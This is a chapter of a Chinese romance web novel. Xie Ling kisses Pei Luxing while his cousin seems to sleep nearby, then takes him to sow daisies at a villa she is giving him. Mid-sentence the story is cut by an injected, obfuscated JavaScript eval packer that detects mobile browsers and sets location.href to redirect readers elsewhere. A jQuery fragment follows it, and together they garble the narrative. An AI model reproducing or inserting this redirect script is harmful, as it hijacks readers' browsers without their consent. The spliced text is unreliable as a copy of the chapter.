“对不起?”
裴陆行抬起手像挠小猫下巴一样挠她,语带调侃,“你是谁?”
“对不起,哥哥。”
谢灵却又说了一遍。
这次更认真了。
也更坚定。
她伸手握住了他的手。
“……”
裴陆行动作停了一下,垂眸看着她,过很久,才说:“不怕了?”
“怕的。”
她老实地承认。
一道很低的笑声溢出。
他起了身,有些粗鲁地揉了一下她的头发,说:“西瓜吃么?给你切一盘。”
“吃。”
她摸了摸自己被弄乱的头发,有点想发脾气,但是忍住了。
脚步声慢慢走远,客厅里再度安静下来。
谢灵低下头把三份舒芙蕾松饼分好,将裴千语那份拿到了另一侧的小茶几上,说:“你现在吃吗?等下冷了就不能吃了。”
脸朝沙发平躺着的裴千语没有任何反应。
谢灵走过去,“裴千语?”
依旧没反应。
“……”
真的有人能够三秒入睡吗?
谢灵无法理解,直起身去看调温器,滴滴两声,升到了二十六度,又去客房拿了条薄毯给她披上。
过了会儿,裴陆行端着瓷碗过来,西瓜的清香弥漫在空气中,碗里每一块西瓜都切得恰到好处,太大吃着会不方便,太小又太细碎,容易“烂”。
她拿餐叉轻轻拨弄了一下,虽然是无籽西瓜,但大部分无籽西瓜并不是完全没有籽的,但这碗里切好的西瓜却没有。
如果不是今天,她还会认为是运气好。
反正她一直以来运气都很好,非常好。
从出生起,身边无数的小细节——手边永远有一杯温度适宜的饮品、不小心睡着后睁眼时灯总是最暗的亮度、所有的食物衣服首饰永远是她心仪的风格……这些背后所伴随的一条条隐含的无形利益链,她总是习以为常。
以至于有的行为,哪怕并不具备利益,她也会默认那样的存在是因为什么。
——她有利可图。
但前提是被看见。
甜品店外长长的队伍、里三层外三层的包装、没有籽的西瓜……
谁会看见?
她放下了餐叉,仰头看向站在面前的人。
“不想吃?”
他问。
“不是。”
她慢慢抬起手,拉住了他的手臂,往下用力。
他被带得弯下身,“怎么——”
彼此的距离逐渐拉近,终于足够她仰起脸,吻上他的唇。
那瞬间,他的呼吸有些重。
她感觉得到她掌心下,紧贴着的肌肉绷紧了一瞬,也感觉到他毫不犹豫的回应。
他俯下身,宽厚的手掌贴着她的后腰,给了她支撑,而后更深地吻下去。
谢灵原本只是想亲他一下,浅尝即止的轻吻。
但显然这并不发生在裴陆行身上。
如他所说——摸小狗就要做好被舔的准备。
然而,然而……
在察觉到她的推拒后,他便松开了她。
谢灵平复着呼吸,下意识地侧过头,目光落向了不远处的沙发上,裴千语依旧趴着,双眼闭着,睡得香甜。
她收回视线,在他手臂上咬了一口,声音压低了,很轻,但又带着警告,“你不准这样。”
像猫亮出的利爪。
裴陆行垂在身侧的手指动了动,很想摸一摸她,哪怕她会抓他也好咬他也好,反正是她留下的痕迹。
但他怕她生气,最终没有抬手,散漫地问:“哪样?”
“……”
谢灵说:“就是像刚刚那样。”
“刚刚是哪样?”
裴陆行继续装不懂。
谢灵有点小生气,但又不是很敢在这个时候发作,怕将裴千语吵醒了。
她忍了一下,说:“不然以后我再也不亲你了。”
“……”
安静两秒。
裴陆行听懂了。
“知道了吗?”
谢灵不放心地小声又问了一遍。
“……知道了。”
裴陆行的语气有些不太情愿。
这就好比有人在饿了许久的人面前摆放一盘色香味俱全且精致诱人的大餐,却不准食用。
折磨程度难以言喻。
但只要是她。
裴陆行会答应一切要求。
午后的天光太过明媚,透过玻璃照进来,整个客厅都变得格外亮堂。
谢灵拉上了窗帘,然后抱着西瓜上了楼,裴陆行也紧随其后。
客厅里只剩下一片悠然的静谧。
谁也没有注意到沙发上,裴千语闭着的眼睫轻轻动了一下。
-
第二天早上,谢灵接了个电话,三两句聊完后挂掉,然后下楼。
刚好碰见客厅吃完早餐的裴千语。
不知道是刚醒没精神还是什么,她没有像之前一样跑过来小嘴一张开始说今天的鲜奶又送迟了或者是外面又很热完全出不了门之类没有营养的话。
她只是坐着,看到谢灵以后露出一种有些失神的表情。
“下午我要出去,你要一起吗?”
谢灵问她。
第一遍的时候,裴千语像是没听见,隔了一会儿才反应过来,然后问:“啊?什么?你刚说什么?”
谢灵耐着性子又重复了一遍。
一个“好”字已经到了嘴边,但裴千语却突然顿了一下,然后问:“呃……他也去吗?”
“哥哥?”谢灵说,“去的。”
裴千语沉默了。
然后她的视线移开,像想到什么,忽然说:“我去不了,我得收拾一下行李了,晚上等伯伯他们下班了,就要开车送我回北宁了。”
“今天?”
谢灵顿了顿,说:“你可以明天再回去,让司机送你。”
“来不及了,”裴千语小脸又垮了下来,“明天下午都要去训练了。”
谢灵没再说什么。
下午临近出门,谢灵站在玄关处,看了一眼一楼走廊,没有任何动静,终于收回视线,转身朝外走去。
抵达目的地时,裴陆行先推开车门,撑起遮阳伞,回过身接了一下谢灵。
今日的气温比昨日低一些,虽然天光已经明媚灿烂,但不会让人感到燥热。
四周的香樟树枝叶茂密,看上去已经存在很久。
再往前是一条不规则的基于草坪上的石板路,小道尽头是一扇双开镂空铁门,此刻正敞开着,等待他们的进入。
两人并肩走了一段,裴陆行才问道:“来这里做什么?”
谢灵唇角弯了弯,说:“你什么都不知道也敢跟着我。”
“嗯。”
他目光垂落,望向她,静静的,问:“那你也敢么?”
她微微怔了怔。
院子外几棵桂花树的甜香在空气中无声息地扩散,萦绕在鼻尖,挥之不去。
已经来到了别墅门口。
谢灵停了下来,看着他。
这时,里面等候的人听见动静,走了过来,语气近乎恭敬地说道:“谢小姐,您之前吩咐的已经准备好了,要现在开始吗?”
“……嗯。”
谢灵回答。
分辨不清是哪个问题的答案,也或许都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361318|164646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是。
穿过前院,中间有一片全开放的休息区,而后直通后花园,比前院要大了许多,看上去快有两亩。
这栋别墅只简单装修过,几乎没有什么风格与特色,更像是某种投资产品,而非住宅。
尤其是后花园近似荒芜的,一片土壤大约刚翻新过,什么也没有,光秃秃的。
有人将提前准备好的衣服和工具递了过来,望了一眼天空,说:“今天刚好天气很好,很适合播种。”
裴陆行从那人手里接过防护衣,正要穿上,才发现是两套。
他明显一顿,而后眉梢轻轻抬起,看向谢灵,问:“你也要?”
“不然呢?”
谢灵说:“我大老远叫你过来,就是为了看着你一个人做苦力?”
裴陆行唇角勾了一下,反问:“怎么,你认为自己做不出这种事?”
“……”
这种低级的污蔑,谢灵都懒得理他。
她命令道:“帮我穿上。”
他笑了笑,走过来。
她里面穿的是一条贴身的浅绿连衣裙,领口有些低,脖颈处留白多,阳光照过来,一片白晃晃的皮肤,近乎半透明般。
他目光停了两秒,然后弯下身,将防护衣的拉链拉到顶。
园艺师又将装着种子的盒子递了过来,说:“撒播就可以了,没有什么技巧。”
他从盒子里抓了一把种子,向两人示范了一下。
做完以后,很自觉地退到一边,将后花园留给了两人。
等人走了,裴陆行拿起盒子,拨弄了一下里面的种子,看不出什么,随口问道:“种的什么?”
“雏菊。”
谢灵从里面抓了一把种子,有样学样地撒了一地。
不过撒完以后她就发现,原来刚才园艺师随手一撒的均匀并不是人人都能做到的。
她蹲了下来,手动地补上了空缺的地方。
白色的防护衣在她身上显得有些大,当她蹲下来时,很像一只人形兔子。
裴陆行注视几秒,走到她身边,将她身后的帽子罩在她的脑袋上,说:“怎么想到来种雏菊,让别人做不就行了。”
谢灵有洁癖这件事,他是最清楚的了。
但凡他打完球回来,她就像躲瘟疫一样躲着他,直到他洗完澡为止。
不仅如此,有时候他刚洗完手,手上还有没擦干的水珠,哪怕是干净的水珠,也不能用湿着的手碰她。
不然她会露出很嫌弃的表情,然后半个小时都不会理他。
播种这件事不仅会弄脏自己。
更重要的是,对大小姐而言,一切体力活都是无聊的,她甚至连他打球都理解不了——这还是有竞技性的活动,至少还隶属于体育类。
播种?
一个不存在于她字典的词组。
谢灵却做得认真,一边播种一边说:“你知道这是哪里吗?”
她抬起头,看着他。
然后那双眼睛弯了起来,说:“云溪,这里是整个延和市离商业中心最近的别墅,离延和的几所大学也很近,从这片别墅区出去再走一段路就是临云街,虽然比不上新宫街那边,但配备是齐全的,打车去新宫街也只要十分钟。”
云溪别墅。
——按照财产赠与协议,将会在裴陆行满十八岁生日的当天完成交接手续。
从此,裴陆行会有一个只属于他自己的地方。
一个不想被人打扰时的安全点。
“关于我为什么要亲自来做这件事。”
这一瞬间,灿烂天光照进她的眼底,铺出一层细碎的光点,仿佛拍卖行里压轴出场的宝石,让人挪不开眼。
“你很快就会知道了。”